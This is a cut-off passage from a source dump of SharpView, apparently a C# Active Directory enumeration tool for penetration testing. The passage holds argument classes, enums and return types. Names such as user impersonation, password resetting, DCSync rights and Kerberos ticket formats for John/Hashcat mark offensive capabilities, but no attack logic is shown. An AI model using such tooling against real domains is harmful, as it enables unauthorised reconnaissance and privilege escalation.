return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetLocalGroup.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetLocalGroup 13 | { 14 | public string[] ComputerName { get; set; } = { Environment.GetEnvironmentVariable("COMPUTERNAME") }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public MethodType Method { get; set; } = MethodType.API; 20 | public MethodType CollectionMethod { get { return Method; } set { Method = value; } } 21 | 22 | public NetworkCredential Credential { get; set; } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetLocalGroupMember.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetLocalGroupMember 13 | { 14 | public string[] ComputerName { get; set; } = { Environment.GetEnvironmentVariable("COMPUTERNAME") }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public string GroupName { get; set; } = "Administrators"; 20 | 21 | public MethodType Method { get; set; } = MethodType.API; 22 | public MethodType CollectionMethod { get { return Method; } set { Method = value; } } 23 | 24 | public NetworkCredential Credential { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetLoggedon.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetLoggedon 13 | { 14 | public string[] ComputerName { get; set; } = { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetRDPSession.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetRDPSession 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetSession.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetSession 13 | { 14 | public string[] ComputerName { get; set; } = { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetShare.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetShare 13 | { 14 | public string[] ComputerName { get; set; } = { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_PathAcl.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_PathAcl 13 | { 14 | public string[] Path { get; set; } 15 | public string[] FullName { get { return Path; } set { Path = value; } } 16 | 17 | public NetworkCredential Credential { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_PrincipalContext.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_PrincipalContext 13 | { 14 | public string Identity { get; set; } 15 | public string GroupName { get { return Identity; } set { Identity = value; } } 16 | public string GroupIdentity { get { return Identity; } set { Identity = value; } } 17 | 18 | public string Domain { get; set; } 19 | 20 | public NetworkCredential Credential { get; set; } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_RegLoggedOn.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_RegLoggedOn 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_WMIProcess.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_WMIProcess 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_WMIRegCachedRDPConnection.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_WMIRegCachedRDPConnection 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_WMIRegLastLoggedOn.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_WMIRegLastLoggedOn 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_WMIRegMountedDrive.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_WMIRegMountedDrive 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_WMIRegProxy.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_WMIRegProxy 13 | { 14 | public string[] ComputerName { get; set; } = new[] { Environment.GetEnvironmentVariable("COMPUTERNAME") }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Invoke_UserImpersonation.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Invoke_UserImpersonation 13 | { 14 | public NetworkCredential Credential { get; set; } 15 | 16 | public IntPtr TokenHandle { get; set; } 17 | 18 | public bool Quiet { get; set; } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_New_DomainGroup.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_New_DomainGroup 13 | { 14 | public string SamAccountName { get; set; } 15 | 16 | public string Name { get; set; } 17 | 18 | public string DisplayName { get; set; } 19 | 20 | public string Description { get; set; } 21 | 22 | public string Domain { get; set; } 23 | 24 | public NetworkCredential Credential { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_New_DomainUser.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_New_DomainUser 13 | { 14 | public string SamAccountName { get; set; } 15 | 16 | public System.Security.SecureString AccountPassword { get; set; } 17 | public System.Security.SecureString Password { get { return AccountPassword; } set { AccountPassword = value; } } 18 | 19 | public string Name { get; set; } 20 | 21 | public string DisplayName { get; set; } 22 | 23 | public string Description { get; set; } 24 | 25 | public string Domain { get; set; } 26 | 27 | public NetworkCredential Credential { get; set; } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Remove_RemoteConnection.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using SharpView.Utils; 10 | 11 | namespace SharpView.Arguments 12 | { 13 | public class Args_Remove_RemoteConnection 14 | { 15 | public string[] ComputerName { get; set; } 16 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 18 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 19 | 20 | public string[] _path; 21 | public string[] Path 22 | { 23 | get 24 | { 25 | return _path; 26 | } 27 | set 28 | { 29 | if (value != null) 30 | { 31 | foreach (var item in value) 32 | { 33 | if (!item.IsRegexMatch(@"\\\\.*\\.*")) 34 | throw new ArgumentException(@"Should be '\\\\.*\\.*' as pattern", nameof(Path)); 35 | } 36 | } 37 | _path = value; 38 | } 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Resolve_IPAddress.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Resolve_IPAddress 13 | { 14 | public string[] ComputerName { get; set; } = new[] { Environment.GetEnvironmentVariable("COMPUTERNAME") }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Set_DomainUserPassword.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Set_DomainUserPassword 13 | { 14 | public string Identity { get; set; } 15 | public string UserName { get { return Identity; } set { Identity = value; } } 16 | public string UserIdentity { get { return Identity; } set { Identity = value; } } 17 | public string User { get { return Identity; } set { Identity = value; } } 18 | 19 | public System.Security.SecureString AccountPassword { get; set; } 20 | public System.Security.SecureString Password { get { return AccountPassword; } set { AccountPassword = value; } } 21 | 22 | public string Domain { get; set; } 23 | 24 | public NetworkCredential Credential { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Test.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Arguments 9 | { 10 | 11 | public class Args_Test 12 | { 13 | public bool TestBool { get; set; } 14 | public string TestString { get; set; } 15 | public string[] TestStringArray { get; set; } 16 | public GroupType TestIntEnum { get; set; } 17 | public Rights TestEnum { get; set; } 18 | public Rights? TestPointEnum { get; set; } 19 | public System.Net.NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Test_AdminAccess.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Test_AdminAccess 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/ClassType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum ClassType 10 | { 11 | User, 12 | Group, 13 | Computer 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/DnsRecordType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum DnsRecordType 10 | { 11 | A, 12 | NS, 13 | MD, 14 | MF, 15 | CNAME, 16 | SOA, 17 | MB, 18 | MG, 19 | MR, 20 | NULL, 21 | WKS, 22 | PTR, 23 | HINFO, 24 | MINFO, 25 | MX, 26 | TXT, 27 | RP, 28 | AFSDB, 29 | X25, 30 | ISDN, 31 | RT, 32 | NSAP, 33 | NSAPPTR, 34 | SIG, 35 | KEY, 36 | PX, 37 | GPOS, 38 | AAAA, 39 | LOC, 40 | NXT, 41 | EID, 42 | NIMLOC, 43 | SRV, 44 | ATMA, 45 | NAPTR, 46 | KX, 47 | CERT, 48 | A6, 49 | DNAME, 50 | SINK, 51 | OPT, 52 | APL, 53 | DS, 54 | SSHFP, 55 | IPSECKEY, 56 | RRSIG, 57 | NSEC, 58 | DNSKEY, 59 | DHCID, 60 | NSEC3, 61 | NSEC3PARAM, 62 | HIP, 63 | SPF, 64 | UINFO, 65 | UID, 66 | GID, 67 | UNSPEC, 68 | ANY, 69 | TA, 70 | DLV, 71 | UNKNOWN 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/GroupProperty.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum GroupProperty 10 | { 11 | Security, 12 | Distribution, 13 | CreatedBySystem, 14 | NotCreatedBySystem 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/GroupScope.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum GroupScope 10 | { 11 | DomainLocal, 12 | NotDomainLocal, 13 | Global, 14 | NotGlobal, 15 | Universal, 16 | NotUniversal 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/GroupType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | [Flags] 10 | public enum GroupType : Int32 11 | { 12 | CREATED_BY_SYSTEM = 0x00000001, 13 | GLOBAL_SCOPE = ActiveDs.ADS_GROUP_TYPE_ENUM.ADS_GROUP_TYPE_GLOBAL_GROUP, 14 | DOMAIN_LOCAL_SCOPE = ActiveDs.ADS_GROUP_TYPE_ENUM.ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP, 15 | UNIVERSAL_SCOPE = ActiveDs.ADS_GROUP_TYPE_ENUM.ADS_GROUP_TYPE_UNIVERSAL_GROUP, 16 | APP_BASIC = 0x00000010, 17 | APP_QUERY = 0x00000020, 18 | SECURITY = ActiveDs.ADS_GROUP_TYPE_ENUM.ADS_GROUP_TYPE_SECURITY_ENABLED 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/LocalGroupType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Enums 9 | { 10 | public enum LocalGroupType 11 | { 12 | [Description("Administrators")] 13 | Administrators, 14 | [Description("S-1-5-32-544")] 15 | S_1_5_32_544, 16 | [Description("RDP")] 17 | RDP, 18 | [Description("Remote Desktop Users")] 19 | RemoteDesktopUsers, 20 | [Description("S-1-5-32-555")] 21 | S_1_5_32_555 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/ManagerType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum ManagerType 10 | { 11 | Group, 12 | User 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/MethodType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum MethodType 10 | { 11 | API, 12 | WinNT 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/Rights.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum Rights 10 | { 11 | All, 12 | ResetPassword, 13 | WriteMembers, 14 | DCSync 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/SPNTicketFormat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum SPNTicketFormat 10 | { 11 | John, 12 | Hashcat 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/SamAccountType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum SamAccountType : Int32 10 | { 11 | DOMAIN_OBJECT = 0x00000000, 12 | GROUP_OBJECT = 0x10000000, 13 | NON_SECURITY_GROUP_OBJECT = 0x10000001, 14 | ALIAS_OBJECT = 0x20000000, 15 | NON_SECURITY_ALIAS_OBJECT = 0x20000001, 16 | USER_OBJECT = 0x30000000, 17 | MACHINE_ACCOUNT = 0x30000001, 18 | TRUST_ACCOUNT = 0x30000002, 19 | APP_BASIC_GROUP = 0x40000000, 20 | APP_QUERY_GROUP = 0x40000001, 21 | ACCOUNT_TYPE_MAX = 0x7fffffff 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/StealthSource.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum StealthSource 10 | { 11 | DFS, 12 | DC, 13 | File, 14 | All 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/TrustAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | [Flags] 10 | public enum TrustAttribute : UInt32 11 | { 12 | NON_TRANSITIVE = 0x00000001, 13 | UPLEVEL_ONLY = 0x00000002, 14 | FILTER_SIDS = 0x00000004, 15 | FOREST_TRANSITIVE = 0x00000008, 16 | CROSS_ORGANIZATION= 0x00000010, 17 | WITHIN_FOREST= 0x00000020, 18 | TREAT_AS_EXTERNAL= 0x00000040, 19 | TRUST_USES_RC4_ENCRYPTION= 0x00000080, 20 | TRUST_USES_AES_KEYS= 0x00000100, 21 | CROSS_ORGANIZATION_NO_TGT_DELEGATION = 0x00000200, 22 | PIM_TRUST= 0x00000400 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /SharpView/SharpView/Enums/Version.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Enums 8 | { 9 | public enum Version 10 | { 11 | All, 12 | V1, 13 | V2 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpView/SharpView/Interfaces/IDomainTrust.cs: -------------------------------------------------------------------------------- 1 | namespace SharpView.Interfaces 2 | { 3 | public interface IDomainTrust 4 | { 5 | string SourceName { get; set; } 6 | string TargetName { get; set; } 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /SharpView/SharpView/Interfaces/IWinEvent.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpView.Interfaces 4 | { 5 | public interface IWinEvent 6 | { 7 | string ComputerName { get; set; } 8 | 9 | DateTime? TimeCreated { get; set; } 10 | 11 | int EventId { get; set; } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ACL.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.AccessControl; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class ACL : ResolvedSID 11 | { 12 | public string ObjectDN { get; set; } 13 | 14 | public GenericAce Ace { get; set; } 15 | 16 | public string ObjectSID { get; set; } 17 | 18 | public System.DirectoryServices.ActiveDirectoryRights ActiveDirectoryRights { get; set; } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/AdminAccess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class AdminAccess 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public bool IsAdmin { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ApiDomainTrust.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Interfaces; 2 | using SharpView.Utils; 3 | using System; 4 | 5 | namespace SharpView.Returns 6 | { 7 | public class ApiDomainTrust : IDomainTrust 8 | { 9 | public string SourceName { get; set; } 10 | 11 | public string TargetName { get; set; } 12 | 13 | public string TargetNetbiosName { get; set; } 14 | 15 | public uint Flags { get; set; } 16 | 17 | public uint ParentIndex { get; set; } 18 | 19 | public NativeMethods.DS_DOMAIN_TRUST_TYPE TrustType { get; set; } 20 | 21 | public uint TrustAttributes { get; set; } 22 | 23 | public string TargetSid { get; set; } 24 | 25 | public Guid TargetGuid { get; set; } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/CachedRDPConnection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class CachedRDPConnection 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string UserName { get; set; } 14 | 15 | public string UserSID { get; set; } 16 | 17 | public string TargetServer { get; set; } 18 | 19 | public string UsernameHint { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ComputerIPAddress.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class ComputerIPAddress 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string IPAddress { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ComputerSite.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class ComputerSite 10 | { 11 | public string ComputerName { get; set; } 12 | public string IPAddress { get; set; } 13 | public string SiteName { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/DFSShare.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.AccessControl; 5 | using System.Security.Principal; 6 | using 